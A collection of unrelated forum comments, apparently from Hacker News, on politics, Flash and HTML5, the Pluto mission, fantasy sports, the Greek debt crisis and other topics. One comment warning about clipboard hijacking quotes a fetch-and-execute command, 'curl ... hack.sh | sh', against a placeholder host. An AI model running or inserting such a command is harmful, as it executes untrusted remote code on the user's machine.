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>For similar reasons that the USA is the great pariah in Cuba.

That should probably read "the great pariah in Latin America". Is there a country in the whole region the US hasn't overthrown, tried to overthrow, propped up a right wing dictator, funded death squads in the last 70 years?

I am failing to think of one....
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What's wrong with Telefonica? I heard people complain about it when Hello came out and I never understood why because I'd never heard of it. Is Firefox still open source at this point?
Thanks for that link, I hit this problem a while ago, a program I wrote generates HTML results where I want to cut & paste sections into another file. I couldn't find a way to do so in javascript previously.

The parent comment has been deleted, so I don't know what privacy problems they are referring to, however there is a potential security issue in allowing javascript write access to the clipboard. e.g. an evil website could repeatedly stuff code into the clipboard, so the next time you paste something into a terminal window, you end up with a 'curl http://www.example.com/hack.sh | sh' command and not the text you expected...
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What are you talking about? That's not what she said. She pointed out that the stack pointer is a I/O register, which was in fact so weird that we did in fact argue about it (she was right, I was wrong). Why did she write about that? I don't know, perhaps because people who participate in Microcorruption are going to program AVR stack pointers?

"Mansplanation"? Really?

It feels like no matter what someone writes --- an emulator, a TCP/IP stack, a Montgomery curve implementation, the world's fastest SMT solver, whatever --- there is always somebody, who always writes like they sound like "that creepy booger-nosed kid" from King of the Hill, to tell us how unimpressive the accomplishment is. Thanks, Clark Peters! You've struck again!
Well, that's when you try to use skimming as a foundation for actually learning the next concept. If I'm just trying to get an outline, all I really have to understand is that -for example- the Jungian and Freudian models of the mind are very different, but were foundational for much of psychology.
On the next pass, I learn more about what they are, and I retain it better because I remember the skimmed materials from later lessons that relate to particulars of those psychological models.
You will find that Italian legislation on subjects like biological research and homosexual unions is dictated by Catholic positions. Even abortion is technically legal but increasingly unavailable, because in the last 30 years the Church adopted a clear policy of helping and promoting friendly medical students in exchange for "conscience objection" when they are supposed to deliver the procedure. The Pope's economic power has been significantly reduced in recent years (the entire country is stagnating) but until the '90s he could influence local politics over large swaths of the country, and basically held unofficial veto powers over the nomination of the local equivalent of Prime Ministers. And I could go on...

Also, look up the "black spider memos" for recent examples of royal influence in UK matters, or the Duchy of Cornwall situation, or the status of land ownership records in Scotland. I expect every European monarchy will have its "quirks" and its "red lines" determining who is really in charge, but it's a fact that aristocracy still holds a certain degree of power without any real justification to do so.

Regarding Iranian authorities, I know they have their problems; however, a lot of executive power resides with elected figures, and the Green Revolution proved that fixing elections is becoming increasingly difficult. The old guard of fanatics is slowly dying, and their anointed successors are very unpopular. Removing sanctions will bolster those sectors closest to real economic activity and reduce the influence of hardliners. This is true for the other side as well: as memories of the Revolution fade, old grudges start to look increasingly irrelevant to generations who didn't witness them. This is similar to what is happening with Cuba, with the additional bonus that Iran is a much more relevant key player in the most critical region.

History is a complicated mess in any country.
A colleague of mine was a very vocal anti-Flash proponent - he used to say that he's tired of his laptop overheating from those 5 stupid animated Flash banners (on his favourite news site).

The irony of it is - I'm not sure 5 animated WebGL banners would keep his laptop any cooler...
I think certain plastics could be safer material since you won't need to paint them to mark lanes. You'd just bake in the colors while extruding. The only problem I see is can plastics maintain the required texture to ensure the best grip for all kinds of tires and conditions. I would like them to test this out before using it even as a replacement for sidewalks.
Fish is a deviant. There are thousands of *nix projects out there, many with a much more desperate need for a web UI, but they simply don't do it, because they know that they shouldn't cross that line.
Because HTML still fails short of everything that Flash is capable of, specially in what concerns games.

Also Flash nowadays also compiles to native code and is used by many mobile games, even on iOS.

And DRM video of course.
Interesting. Your google-foo is obviously better than mine. I googled the name but the only photo I got was the one from the CPAP page :)
One of the main problems I see is that Flash is used as a first preference as opposed to falling back to it. Prime example that I ran into today: first time I visit the 8tracks I am prompted to enable Flash, after about 10 seconds of me refusing to enable vulnerabilities it concedes and gives me the option to use HTML5 instead which, surprise surprise, obviously hasn't even been tested and does absolutely nothing.

That's a worst-case scenario, but I get the "enable Flash bar" all too often - even when the website automatically upgrades to HTML5 instead. Even YouTube tries Flash first.

Flash should be a fallback plan, not the first preference. Stop it. Please. I'm growing weary of ignoring that bar, it's like it's actually part of the browser chrome.
Computers being more complicated has nothing to do with a dynamic module loader that is designed to be able to override installed code modules with newer versions at runtime.

That's just architecture astronauts with too much exposure to COM designing a firmware API.
Does anyone know what makes this "video" tick?

I have a couple of ideas but I prefer informed answers over my guesswork.
I remember back in the nineties when tech company culture was a reaction against the stuffy, seemingly irrational dress codes of older companies. The refrain used to be "we want people who can get the job done, who cares if they wear a tee shirt and jeans instead of a suit and tie?"

Perhaps we're going full circle and the people who want to tell their employees how to dress are back in charge. But now instead of getting a choice between a button-down shirt in white and one in light blue, the choice is between a tee with a funny picture on it and one with a vendor logo on it :)
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For the Twitter-inclined follow Emily Lakdawalla [1] - she is usually mere seconds behind the actual data, which is pretty amazing.

[1] https://twitter.com/elakdawalla
His wikipedia page also has an amusing quote on the origin on this mission:

In August 1992, JPL scientist Robert Staehle called Tombaugh, requesting permission to visit his planet. "I told him he was welcome to it," Tombaugh later remembered, "though he's got to go one long, cold trip." The call eventually led to the launch of the New Horizons space probe to Pluto in 2006.
I also helped a competitor that got acquired by DraftKings. Anyone worth their salt in this industry knows this is about the money. The top guys throw down $25,000 A DAY. Many of them are severely in the red, in spite of winning large tournaments. If you're not building an app around big prize pools, you simply will not be on anyone's radar.
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I agree with all this, but note that he suggested chanting "Europe! Europe!", not "<country>! <country>!". That doesn't make it less blatant, but it does mostly solve the alienation issue you mention.
You've got a bigger chance of winning the lottery than replicating that.
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Maybe I missed it but was there an estimate of when the game will be available?
Solution: market the site primarily to women. Screen the hordes of men who will surely follow thoroughly and only admit the best.
To me, that article feels incredibly negative, sexist, and rooted on a men-women dynamic that assumes women are things to be conquered.

Then again, I don't know what I was expecting from a website that gives "Alpha assessments" regarding "women you are attempting to bed" and whose top post is "How to get a girl to send nudes of herself".
His response: "because it was crap"

https://twitter.com/jasonfreedman/status/620956827870720000
Except there are a ton of competitors and it's already become an oligopoly. FanDuel and DraftKings alone have accounted for 95% of the DFS revenue as of 2015, and just acquired the two other biggest competitors in the space (DraftStreet and StarStreet). Big prize pools drive harder than lower fees.
What if Germany, France and Scandinavia were superior to the US? The murder rate in the US is 3 times higher than in Europe, French banlieues are pretty harsh but have nothing on Northeast Philly, creationism is a non-issue on the Old Continent outside minor communities, and US healthcare is a total mess. I saw this video the other night about a team of physicians going somewhere near Bristol, TN. What's this? It's scenes you'd think you'd see in Africa.
> The unfaltering support given to Israel seems strange

There's nothing strange about it. Yes, it is militarily aggressive and has to be considering the neighborhood.

The support given is purely selfish as Israel is the only nation in the region which mirrors the values the US wishes to promote in the region, provides military support when needed, and a plethora of other various benefits which none of the other players in the region are able to provide.

As far as the "strangeness" is concerned, with rampant antisemitism in Europe, I supposed it would look strange when that hobby isn't shared elsewhere?
> you're also potentially leaking all your visitor stats

Not just potentially but (f)actually!
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"The $400 million energy project will be built by Spanish wind farm developer Iberdrola Renewables"

I'm not familiar with the market but it's telling that a European company was selected.

"conflicts that have sunk proposed wind farms in the past: widespread opposition in tourist areas, interference with military flight paths and the potential for bird kills in seasonal migration routes."

The bird-kill issue is a concern. I'm sure military flight path issues are hard to avoid in North Carolina. But the tourism thing I don't really understand.

I live in a region with a lot of wind farms, and compared to similar farmland in the region not being used for wind power production, driving through areas filled with windmills is actually quite beautiful and very visually interesting, as your perspective gradually changes against the slowly rotating turbines.

One would think, though, that the obvious solution to most of these concerns, as well as for round-the-clock productivity, would lead us to build a ton of off-shore wind farms. And yet IIRC, we haven't built any in the US (correct me if I'm wrong about that), despite having one of the longest coastlines of any country.
brain washing works very well, just look at this:
http://defcon.ws/
Flash will be with us for quite some time still. You can't get everyone to agree to uninstall Flash in one fell swoop. You can't expect Adobe to completely abandon it over night; which would mean no more updates and more security vulnerabilities.
Have you never attended any football match? I'm not sure this counters my point in any way. If I were to listen to my local club, the east side of my city is just so much better than the west side.
Fine, but that's not what I replied to. Someone said they forgot the "B" in BIOS (with uEFI), I am saying the BIOS hasn't been close to a basic in a very long time due to the complexities of x86-like systems.

The BIOS was a giant bloated mess before uEFI. uEFI's modular design is a single attempt at keeping it simplier and removing unneeded code.
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Large parts of that theocratic regime are elected.
Interestingly enough, I think that's exactly how the Curiosity rover calibrates its camera, though it's the camera on the robotic arm looking at a fixed test pattern.
If the german try to push the French in the futur a bit to openly they will be blood on the wall. The ghost of ww2 is still there, we (the french) will go the absolute extreme measure if it look like we are threaten by germany (nukes + French Far Right = not good).
So all of this need to be hidden to the public eye. And usually it is . But greece did not get that decency.
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It's a joke about how reddit is supposedly full of unpopular people, but strangely enough, the joke has now become about how HN is full of people who can't recognize a joke.
Under that argument, using machine learning to make decisions on things like advertising campaigns or mortgage rates is still bad even if race and sex do not correlate. That's a much different argument than what the author is making. It's a decent argument too.

That said, I believe unfair discrimination is unavoidable in life because we can't always wait around to see what an individual's behavior will be before we discriminate fairly. We couldn't function without stereotypes and assumptions. And so, while still unfair because of the potential for unjustified penalties, it's much better to look at many variables than it is to look at one or two.

Then you think machine learning is the best solution that exists?
I think everyone talking about this as in bad taste isn't looking at the big picture. What if we could take all the energy people direct at the World Cup and redirect it towards space exploration? I mean seriously, the World Cup's budget this year is roughly 15 billion, NASA's budget is 18 billion.

I think part of me would prefer a calmer, more civilized approach to space exploration, but on the balance I'll take twice the budget if I can get it.
The Iranians (along with the Kurds) are the only ones stopping ISIS in the middle east.

I doubt the US really wants to get more involved with troops on the ground (yet again) see as how well that has turned out at every attempt in the last 20 years.

With the easing of sanctions, expect to see better cooperation - probably through intermediaries admittedly or Iran taking the fight to ISIS, stopping their progress.
First, you can only do so much with flash without writing code. And ActionScript 3 looked pretty similar to javascript anyway.

But more importantly, we should decouple the idea of Flash the authoring tool and Flash the runtime. I believe Flash the authoring tool already allows you to output to HTML 5 rather than an SWF file. So you can have all the benefits of flash authoring, without the drawbacks (killing your customer's batteries).

Then there's Shumway (Mozilla's JS based flash runtime).

There are already lots of alternatives to the nasty Flash runtime.
There is no misogyny behind it because there is an equivalent word for men which also carries a negative connotation.
It's more complicated than that. Iraq stopped cooperating with UN inspectors in 1998. And from 1998 til 2003 there was no access for inspections.

The US thought resuming inspections were a ploy to avoid the war, which was already in late stages of planning.
Is Lisp core to the functioning of the product or is it going to be transparent to your end users? If the site could be written in another language with zero impact to the users, then I don't know that picking a Lisp(y) name is going to be a good way to attract people to your site.

In the interest of answering your question, I found the following:

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Reification

Reification is a generic term that roughly means "Make an abstract concept" concrete. Specific to programming, when something is reified, it roughly means you can treat it as data (or "First-class object"). An example of this in lisp is functions the lambda expression gives you the ability to create a concrete, first-class object that represents the abstract concept of a function call. Another example is a CLOS class, which is itself a CLOS object, that represents the abstract concept of a class.

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Reification is the idea of taking an abstract idea and making it concrete. Take a look on namemesh for reify and reification to see what pops out at you.

Hope that helps.
There is zero reason to believe that human level mathematical creativity is computationally significantly more expensive than normal day to day thinking.
Why wouldn't someone elect to look at pictures of the notebooks? Is there more scientific value in holding them? Or would this be like "Oh I just got a government grant, let me spend it on travel to go view the documents?"
The hint is there in the article. The French know that Germany in gunning for them:

“Only the French minister [Michel Sapin] made noises that
were different from the German line, and those noises were
very subtle. You could sense he had to use very judicious
language, to be seen not to oppose. And in the final
analysis, when Dr Schäuble responded and effectively
determined the official line, the French minister would
always fold.”
The analogy with actual war is I think far less unreasonable that it at first sounds. I-don't-know-who said "The First World War was fought with guns, the Second World War was fought with tanks, the Third World War will be fought with banks."

I don't mean to say that this is any kind of tinderbox situation. But it is crystal clear to me that it's at the very least a first-world country being forced by a hegemon into neo-colonial vassal-hood/debt bondage, something that is quite shocking to see, especially when there are no standing armies in sight.

And the violence is real, in that Greece is suffering a humanitarian crisis that will only deepen. Actual people will die prematurely, and others' lives will be wrecked, for Schaeuble's example to pay off, as much as newspapers like to abstract this fact behind phrases like "deep pension cuts".
Check out [1]. Seems to be a combination of pre-flight calibration tests and in-flight observation of stars and planets with known optical characteristics.

[1] http://www.responsivespace.com/Papers/RS7/SESSIONS/Session%2...
ok you got me there, due to my bad wording. I am not specifically proud of European achievements (although our bureaucracy can be spectacular, so it's even bigger achievement in my eyes), if China/India/Russia/whoever would be doing some successful novel space exploration missions, I would be proud equally. And by same logic, same is valid for US (and this mission).

It's just that I long consider myself citizen of this world, rather than citizen of some pre-marked real estate, which was different 500 (or even 100) years ago, and will no doubt change beyond recognition many times in future. patriotism goes in direct opposition to this belief, bringing "us and them" mentality (with obvious emphasis that "us" is better), which I personally believe isn't something to be proud of and strive for in 21st century. Bear in mind this is my personal opinion, I don't represent all citizens of Europe any more than you do represent all US citizens :)
I'm surprised tptacek delegated the AVR emulator to elptacek, rather than write it himself, since he had already done the MSP430 emulator.

On another topic, presumably the handheld devices for traders and gophers have a UI of some kind. Has this UI actually been implemented? And if so, what kind of UI is it, and will players need to interact with it? Or will players just be getting down and dirty with hacking the device in a debugger? I ask because I wonder how accessible this game will be for blind people. Of course, you may argue that the devices and software in the real world of stock trading probably aren't accessible either. And depending on what kind of UI the emulated handheld devices have, the OCR features or plugins of some popular screen readers may be enough to get by.
What about Badoo? [1]

[1] https://en.wikipedia.org/wiki/Badoo
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The phrase 'well has dried up' meant that I'm no longer looking to freelance, I'm trying to apply to salaried positions and was hoping for some examples from other freelancers who have been in a similar position.
New subway lines have to connect into existing running subway lines. Digging the tunnels is usually the easy part, it's the points where they connect to things that is hard.
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Have you filed a bug with Mozilla about that? Speed issues are one thing, but crashing is another.
I think the system of rebalancing is a small factor, the major factor being a fiscal policy instated by the federal government on state spending...there needs to be a similar central entity in the Eurozone to implement not just momentary policy but also fiscal policy...but we all know this idea is unpopular
Bumble, The League and Happn are a few more.
It would be fitting I think if aliens found his ashes considering he's was something of an ET evangelist and eventually claimed some of his mysterious sightings (green fireballs and glowing rectangles moving in unnatural ways) were probably of ET origin and its unscientific to dismiss this out of hand. Wiki:

Although our own solar system is believed to support no other life than on Earth, other stars in the galaxy may have hundreds of thousands of habitable worlds. Races on these worlds may have been able to utilize the tremendous amounts of power required to bridge the space between the stars..." Tombaugh stated that he had observed celestial phenomena which he could not explain, but had seen none personally since 1951 or 1952. "These things, which do appear to be directed, are unlike any other phenomena I ever observed. Their apparent lack of obedience to the ordinary laws of celestial motion gives credence."

https://en.wikipedia.org/wiki/Clyde_Tombaugh#Interest_in_UFO...
"Jingoism: the feelings and beliefs of people who think that their country is always right and who are in favor of aggressive acts against other countries." [1]

Can we please stop comparing a success chant with "aggressive acts against other countries"?

Unnecessary nationalism, sure. Jingoism is hyperbole.

1: http://www.merriam-webster.com/dictionary/jingoism
> if Greece wants to collect more tax money, they need to provide a good reason for people to pay tax money

I agree on this one. I would not want to give a corrupt government my money. But then again, this is due to ethics - if not the taxpayer's, then the government's. You will find the topic of corruption mentioned in the "Ethics" section in this world bank report. [1, page 11]

[1] http://www1.worldbank.org/publicsector/civilservice/rsGerman...